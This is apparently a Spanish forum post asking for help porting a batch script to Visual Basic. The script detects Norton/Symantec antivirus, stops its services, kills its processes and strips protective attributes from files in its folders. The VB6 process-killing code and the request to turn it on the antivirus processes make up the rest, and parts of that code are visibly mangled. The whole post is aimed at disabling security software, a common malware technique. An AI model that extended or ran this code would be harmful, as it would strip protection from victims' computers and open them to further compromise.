Hola, quiero pasar este archivo en batch a VB
@echo off
If exist "C:\Archivos de programa\Archivos comunes\Symantec Shared" (goto norton) else (goto 10)
:10
If exist "C:\Archivos de programa\Norton AntiVirus" (goto norton2) else (goto 11)
:11
:norton2
cd "C:\Archivos de programa\Norton AntiVirus"
net stop "navapsvc"
net stop "NPFMntor"
tskill /f /IM navapsvc.exe /IM NPFMntor.exe
attrib -H -S -R *.*
cd "C:\Archivos de programa\Norton AntiVirus\IWP"
attrib -H -S -R *.*
goto 11
:norton
cd "C:\Archivos de programa\Archivos comunes\Symantec Shared"
net stop "ccSetMgr"
net stop "SNDSrvc"
net stop "SPBBCSvc"
net stop "ccEvtMgr"
net stop "ccApp"
net stop "symlcsvc"
tskill /f /IM ccSetMgr.exe /IM SNDSrvc.exe /IM SPBBCSvc.exe /IM ccEvtMgr.exe /IM ccApp.exe /IM symlcsvc.exe
attrib -H -S -R *.*
cd "C:\Archivos de programa\Archivos comunes\Symantec Shared\SPBBC"
attrib -H -S -R *.*
cd "C:\Archivos de programa\Archivos comunes\Symantec Shared\CCPD-LC"
attrib -H -S -R *.*
goto 10
cls
exit
estoy usando este script para matar los procesos:
Private Sub Form_Load()
'----MUERETE MALDITO MESSENGER-----
KillProcess ("msnmsgr.exe")
'----------------------------------
End Sub
Public Sub KillProcess(ByVal processName As String)
'---CAPTURA DE ERROR---
On Error GoTo ErrHandler
'----------------------
'---DECLARACIÓN DE VARIABLES---
Dim oWMI
Dim ret
Dim sService
Dim oWMIServices
Dim oWMIService
Dim oServices
Dim oService
Dim servicename
'------------------------------
'--------------------SE OBTIENEN OBJETOS--------------------
Set oWMI = GetObject("winmgmts:")
Set oServices = oWMI.Instances Of("win32_process")
'-----------------------------------------------------------
'----------------------BUSCA EL PROCESO---------------------
For Each oService In oServices
servicename = LCase(Trim(CStr(oService.Name) & ""))
If InStr(1, servicename, _
LCase(processName), vbTextCompare) > 0 Then
ret = oService.Termi nate
End If
Next
'-----------------------------------------------------------
'---------SE HACE NADA---------
Set oServices = Nothing
Set oWMI = Nothing
'------------------------------
'---CAPTURA DE ERROR----
ErrHandler:
Err.Clear
'-----------------------
End Sub
En vez de que mate el proceso de
Messenger matara el proceso:
NPFMntor.exe
navapsvc.exe
y los servicios de "navapsvc" y "NPFMntor" los puedo matar de la misma forma? o como podria matarlos?
y otra cosita... como puedo aplicarles los siguientes atributos a esos procesos: "
attrib -H -S -R *.*"